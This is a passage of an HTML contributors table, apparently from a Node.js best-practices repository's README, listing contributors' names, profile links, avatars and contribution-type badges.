href=\"https://github.com/MasahiroSakaguchi\"><img src=\"https://avatars0.githubusercontent.com/u/16427431?v=4\" width=\"100px;\" alt=\"Masahiro Sakaguchi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Masahiro Sakaguchi</b></sub></a><br /><a href=\"#content-MasahiroSakaguchi\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/TheHollidayInn\"><img src=\"https://avatars1.githubusercontent.com/u/1253400?v=4\" width=\"100px;\" alt=\"Keith Holliday\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Keith Holliday</b></sub></a><br /><a href=\"#content-TheHollidayInn\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.coreycleary.me\"><img src=\"https://avatars3.githubusercontent.com/u/1485356?v=4\" width=\"100px;\" alt=\"coreyc\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>coreyc</b></sub></a><br /><a href=\"#content-coreyc\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://maxcubing.wordpress.com\"><img src=\"https://avatars0.githubusercontent.com/u/8260834?v=4\" width=\"100px;\" alt=\"Maximilian Berkmann\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Maximilian Berkmann</b></sub></a><br /><a href=\"#content-Berkmann18\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/DouglasMV\"><img src=\"https://avatars3.githubusercontent.com/u/32845487?v=4\" width=\"100px;\" alt=\"Douglas Mariano Valero\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Douglas Mariano Valero</b></sub></a><br /><a href=\"#content-DouglasMV\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/marcelosdm\"><img src=\"https://avatars0.githubusercontent.com/u/18266600?v=4\" width=\"100px;\" alt=\"Marcelo Melo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Marcelo Melo</b></sub></a><br /><a href=\"#content-marcelosdm\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/mperk_\"><img src=\"https://avatars0.githubusercontent.com/u/3465794?v=4\" width=\"100px;\" alt=\"Mehmet Perk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Mehmet Perk</b></sub></a><br /><a href=\"#content-mperk\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ryanouyang\"><img src=\"https://avatars2.githubusercontent.com/u/360426?v=4\" width=\"100px;\" alt=\"ryan ouyang\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>ryan ouyang</b></sub></a><br /><a href=\"#content-ryanouyang\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/shabeer-mdy\"><img src=\"https://avatars0.githubusercontent.com/u/26842535?v=4\" width=\"100px;\" alt=\"Shabeer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shabeer</b></sub></a><br /><a href=\"#content-shabeer-mdy\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/halfzebra\"><img src=\"https://avatars1.githubusercontent.com/u/3983879?v=4\" width=\"100px;\" alt=\"Eduard Kyvenko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Eduard Kyvenko</b></sub></a><br /><a href=\"#content-halfzebra\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://deyvisonrocha.com\"><img src=\"https://avatars2.githubusercontent.com/u/686067?v=4\" width=\"100px;\" alt=\"Deyvison Rocha\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Deyvison Rocha</b></sub></a><br /><a href=\"#content-deyvisonrocha\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://twitter.com/georgemamer\"><img src=\"https://avatars1.githubusercontent.com/u/20108934?v=4\" width=\"100px;\" alt=\"George Mamer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>George Mamer</b></sub></a><br /><a href=\"#content-georgem3\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/leimonio\"><img src=\"https://avatars0.githubusercontent.com/u/1969742?v=4\" width=\"100px;\" alt=\"Konstantinos Leimonis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Konstantinos Leimonis</b></sub></a><br /><a href=\"#content-leimonio\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Zybax\"><img src=\"https://avatars3.githubusercontent.com/u/22094453?v=4\" width=\"100px;\" alt=\"Oliver Lluberes\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Oliver Lluberes</b></sub></a><br /><a href=\"#translation-Zybax\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://stackoverflow.com/story/tiendq\"><img src=\"https://avatars2.githubusercontent.com/u/815910?v=4\" width=\"100px;\" alt=\"Tien Do\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tien Do</b></sub></a><br /><a href=\"#content-tiendq\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://singh1114.github.io/\"><img src=\"https://avatars0.githubusercontent.com/u/11356398?v=4\" width=\"100px;\" alt=\"Ranvir Singh\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ranvir Singh</b></sub></a><br /><a href=\"#content-singh1114\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/collierrgbsitisfise\"><img src=\"https://avatars3.githubusercontent.com/u/13496126?v=4\" width=\"100px;\" alt=\"Vadim Nicolaev\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vadim Nicolaev</b></sub></a><br /><a href=\"#content-collierrgbsitisfise\" title=\"Content\">🖋</a> <a href=\"#translation-collierrgbsitisfise\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/germangamboa95\"><img src=\"https://avatars3.githubusercontent.com/u/28633849?v=4\" width=\"100px;\" alt=\"German Gamboa Gonzalez\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>German Gamboa Gonzalez</b></sub></a><br /><a href=\"#content-germangamboa95\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/AbdelrahmanHafez\"><img src=\"https://avatars3.githubusercontent.com/u/19984935?v=4\" width=\"100px;\" alt=\"Hafez\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Hafez</b></sub></a><br /><a href=\"#content-AbdelrahmanHafez\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://linkedin.com/in/chandiran-dmc\"><img src=\"https://avatars3.githubusercontent.com/u/42678579?v=4\" width=\"100px;\" alt=\"Chandiran\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Chandiran</b></sub></a><br /><a href=\"#content-chandiran-dmc\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/VinayaSathyanarayana\"><img src=\"https://avatars2.githubusercontent.com/u/16976677?v=4\" width=\"100px;\" alt=\"VinayaSathyanarayana\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>VinayaSathyanarayana</b></sub></a><br /><a href=\"#content-VinayaSathyanarayana\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.kimkern.de\"><img src=\"https://avatars1.githubusercontent.com/u/2671139?v=4\" width=\"100px;\" alt=\"Kim Kern\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kim Kern</b></sub></a><br /><a href=\"#content-kiwikern\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://kennethfreitas.github.io/\"><img src=\"https://avatars2.githubusercontent.com/u/55669043?v=4\" width=\"100px;\" alt=\"Kenneth Freitas\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kenneth Freitas</b></sub></a><br /><a href=\"#content-kennethfreitas\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/songe\"><img src=\"https://avatars2.githubusercontent.com/u/1531561?v=4\" width=\"100px;\" alt=\"songe\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>songe</b></sub></a><br /><a href=\"#content-songe\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://ksed.dev\"><img src=\"https://avatars1.githubusercontent.com/u/30693707?v=4\" width=\"100px;\" alt=\"Kirill Shekhovtsov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kirill Shekhovtsov</b></sub></a><br /><a href=\"#content-Ksedline\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/SerzN1\"><img src=\"https://avatars0.githubusercontent.com/u/2534649?v=4\" width=\"100px;\" alt=\"Serge\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Serge</b></sub></a><br /><a href=\"#content-SerzN1\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/keyrwinz\"><img src=\"https://avatars3.githubusercontent.com/u/21241761?v=4\" width=\"100px;\" alt=\"keyrwinz\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>keyrwinz</b></sub></a><br /><a href=\"#content-keyrwinz\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/nDmitry\"><img src=\"https://avatars0.githubusercontent.com/u/2134568?v=4\" width=\"100px;\" alt=\"Dmitry Nikitenko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dmitry Nikitenko</b></sub></a><br /><a href=\"#content-nDmitry\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://bushuai.cc\"><img src=\"https://avatars0.githubusercontent.com/u/1875256?v=4\" width=\"100px;\" alt=\"bushuai\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>bushuai</b></sub></a><br /><a href=\"https://github.com/goldbergyoni/nodebestpractices/pulls?q=is%3Apr+reviewed-by%3Abushuai\" title=\"Reviewed Pull Requests\">👀</a> <a href=\"#content-bushuai\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://stackoverflow.com/users/1348195/benjamin-gruenbaum\"><img src=\"https://avatars2.githubusercontent.com/u/1315533?v=4\" width=\"100px;\" alt=\"Benjamin Gruenbaum\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Benjamin Gruenbaum</b></sub></a><br /><a href=\"#content-benjamingr\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/byeze\"><img src=\"https://avatars1.githubusercontent.com/u/7424138?v=4\" width=\"100px;\" alt=\"Ezequiel\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ezequiel</b></sub></a><br /><a href=\"#translation-byeze\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/juaoose\"><img src=\"https://avatars3.githubusercontent.com/u/994594?v=4\" width=\"100px;\" alt=\"Juan José Rodríguez\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Juan José Rodríguez</b></sub></a><br /><a href=\"#translation-juaoose\" title=\"Translation\">🌍</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/OrBin\"><img src=\"https://avatars1.githubusercontent.com/u/6897234?v=4\" width=\"100px;\" alt=\"Or Bin\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Or Bin</b></sub></a><br /><a href=\"#content-OrBin\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/andreoav07\"><img src=\"https://avatars2.githubusercontent.com/u/508827?v=4\" width=\"100px;\" alt=\"Andreo Vieira\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Andreo Vieira</b></sub></a><br /><a href=\"#content-andreoav\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/mikicho\"><img src=\"https://avatars1.githubusercontent.com/u/11459632?v=4\" width=\"100px;\" alt=\"Michael Solomon\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Michael Solomon</b></sub></a><br /><a href=\"#content-mikicho\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jimmycallin\"><img src=\"https://avatars0.githubusercontent.com/u/2225828?v=4\" width=\"100px;\" alt=\"Jimmy Callin\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jimmy Callin</b></sub></a><br /><a href=\"#content-jimmycallin\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/siddharthofficial/\"><img src=\"https://avatars2.githubusercontent.com/u/26025955?v=4\" width=\"100px;\" alt=\"Siddharth\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Siddharth</b></sub></a><br /><a href=\"#content-w01fS\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://ryansmith.tech/\"><img src=\"https://avatars0.githubusercontent.com/u/1578766?v=4\" width=\"100px;\" alt=\"Ryan Smith\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ryan Smith</b></sub></a><br /><a href=\"#content-ryan3E0\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://de.linkedin.com/in/tom-boettger\"><img src=\"https://avatars2.githubusercontent.com/u/49961674?v=4\" width=\"100px;\" alt=\"Tom Boettger\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tom Boettger</b></sub></a><br /><a href=\"#content-bttger\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jormaechea\"><img src=\"https://avatars3.githubusercontent.com/u/5612500?v=4\" width=\"100px;\" alt=\"Joaquín Ormaechea\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Joaquín Ormaechea</b></sub></a><br /><a href=\"#translation-jormaechea\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/dfrzuz\"><img src=\"https://avatars3.githubusercontent.com/u/71859096?v=4\" width=\"100px;\" alt=\"dfrzuz\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>dfrzuz</b></sub></a><br /><a href=\"#translation-dfrzuz\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/victor-homyakov\"><img src=\"https://avatars1.githubusercontent.com/u/121449?v=4\" width=\"100px;\" alt=\"Victor Homyakov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Victor Homyakov</b></sub></a><br /><a href=\"#content-victor-homyakov\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://joshuahemphill.com\"><img src=\"https://avatars3.githubusercontent.com/u/46608115?v=4\" width=\"100px;\" alt=\"Josh\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Josh</b></sub></a><br /><a href=\"#content-josh-hemphill\" title=\"Content\">🖋</a> <a href=\"#security-josh-hemphill\" title=\"Security\">🛡️</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/alec-francis\"><img src=\"https://avatars2.githubusercontent.com/u/32949882?v=4\" width=\"100px;\" alt=\"Alec Francis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alec Francis</b></sub></a><br /><a href=\"#content-alec-francis\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/arjun6610\"><img src=\"https://avatars1.githubusercontent.com/u/61268891?v=4\" width=\"100px;\" alt=\"arjun6610\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>arjun6610</b></sub></a><br /><a href=\"#content-arjun6610\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jan-osch\"><img src=\"https://avatars2.githubusercontent.com/u/11651780?v=4\" width=\"100px;\" alt=\"Jan Osch\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jan Osch</b></sub></a><br /><a href=\"#content-jan-osch\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/thiagotrs\"><img src=\"https://avatars2.githubusercontent.com/u/32005779?v=4\" width=\"100px;\" alt=\"Thiago Rotondo Sampaio\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Thiago Rotondo Sampaio</b></sub></a><br /><a href=\"#translation-thiagotrs\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Alexsey\"><img src=\"https://avatars0.githubusercontent.com/u/6392013?v=4\" width=\"100px;\" alt=\"Alexsey\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alexsey</b></sub></a><br /><a href=\"#content-Alexsey\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/13luismb\"><img src=\"https://avatars1.githubusercontent.com/u/32210483?v=4\" width=\"100px;\" alt=\"Luis A. Acurero\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Luis A. Acurero</b></sub></a><br /><a href=\"#translation-13luismb\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://lromano97.github.io/\"><img src=\"https://avatars1.githubusercontent.com/u/22394847?v=4\" width=\"100px;\" alt=\"Lucas Romano\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Lucas Romano</b></sub></a><br /><a href=\"#translation-lromano97\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/denisecase\"><img src=\"https://avatars0.githubusercontent.com/u/13016516?v=4\" width=\"100px;\" alt=\"Denise Case\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Denise Case</b></sub></a><br /><a href=\"#content-denisecase\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://stackoverflow.com/story/elektronik\"><img src=\"https://avatars3.githubusercontent.com/u/1078554?v=4\" width=\"100px;\" alt=\"Nick Ribal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nick Ribal</b></sub></a><br /><a href=\"#content-elektronik2k5\" title=\"Content\">🖋</a> <a href=\"https://github.com/goldbergyoni/nodebestpractices/pulls?q=is%3Apr+reviewed-by%3Aelektronik2k5\" title=\"Reviewed Pull Requests\">👀</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/0xflotus\"><img src=\"https://avatars3.githubusercontent.com/u/26602940?v=4\" width=\"100px;\" alt=\"0xflotus\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>0xflotus</b></sub></a><br /><a href=\"#content-0xflotus\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.dijonkitchen.org/\"><img src=\"https://avatars3.githubusercontent.com/u/11434205?v=4\" width=\"100px;\" alt=\"Jonathan Chen\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jonathan Chen</b></sub></a><br /><a href=\"#content-dijonkitchen\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/dilansri\"><img src=\"https://avatars2.githubusercontent.com/u/5089728?v=4\" width=\"100px;\" alt=\"Dilan Srilal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dilan Srilal</b></sub></a><br /><a href=\"#content-dilansri\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://vectree.ru\"><img src=\"https://avatars3.githubusercontent.com/u/4215285?v=4\" width=\"100px;\" alt=\"vladthelittleone\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>vladthelittleone</b></sub></a><br /><a href=\"#translation-vladthelittleone\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.nikolaso.com\"><img src=\"https://avatars0.githubusercontent.com/u/60047271?v=4\" width=\"100px;\" alt=\"Nik Osvalds\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nik Osvalds</b></sub></a><br /><a href=\"#content-nosvalds\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kdaniel21\"><img src=\"https://avatars0.githubusercontent.com/u/39854385?v=4\" width=\"100px;\" alt=\"Daniel Kiss\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Daniel Kiss</b></sub></a><br /><a href=\"https://github.com/goldbergyoni/nodebestpractices/commits?author=kdaniel21\" title=\"Documentation\">📖</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/forresst17\"><img src=\"https://avatars2.githubusercontent.com/u/163352?v=4\" width=\"100px;\" alt=\"Forresst\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Forresst</b></sub></a><br /><a href=\"#content-forresst\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/svenheden\"><img src=\"https://avatars1.githubusercontent.com/u/76098?v=4\" width=\"100px;\" alt=\"Jonathan Svenheden\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jonathan Svenheden</b></sub></a><br /><a href=\"#content-svenheden\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/AustrisC\"><img src=\"https://avatars2.githubusercontent.com/u/12381652?v=4\" width=\"100px;\" alt=\"AustrisC\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>AustrisC</b></sub></a><br /><a href=\"#content-AustrisC\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/cisco0808\"><img src=\"https://avatars0.githubusercontent.com/u/60251188?v=4\" width=\"100px;\" alt=\"kyeongtae kim\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>kyeongtae kim</b></sub></a><br /><a href=\"#translation-cisco0808\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://keybase.io/651z9pz968v2accj\"><img src=\"https://avatars.githubusercontent.com/u/65741741?v=4\" width=\"100px;\" alt=\"007\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>007</b></sub></a><br /><a href=\"#content-6gx7iycn53ioq2e8apk1j1ypwov4giui\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.anediaz.com\"><img src=\"https://avatars.githubusercontent.com/u/17216937?v=4\" width=\"100px;\" alt=\"Ane Diaz de Tuesta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ane Diaz de Tuesta</b></sub></a><br /><a href=\"#translation-anediaz\" title=\"Translation\">🌍</a> <a href=\"#content-anediaz\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://yukioh.net\"><img src=\"https://avatars.githubusercontent.com/u/23182489?v=4\" width=\"100px;\" alt=\"YukiOta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>YukiOta</b></sub></a><br /><a href=\"#translation-YukiOta\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.yeovilhospital.co.uk/\"><img src=\"https://avatars.githubusercontent.com/u/43814140?v=4\" width=\"100px;\" alt=\"Frazer Smith\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Frazer 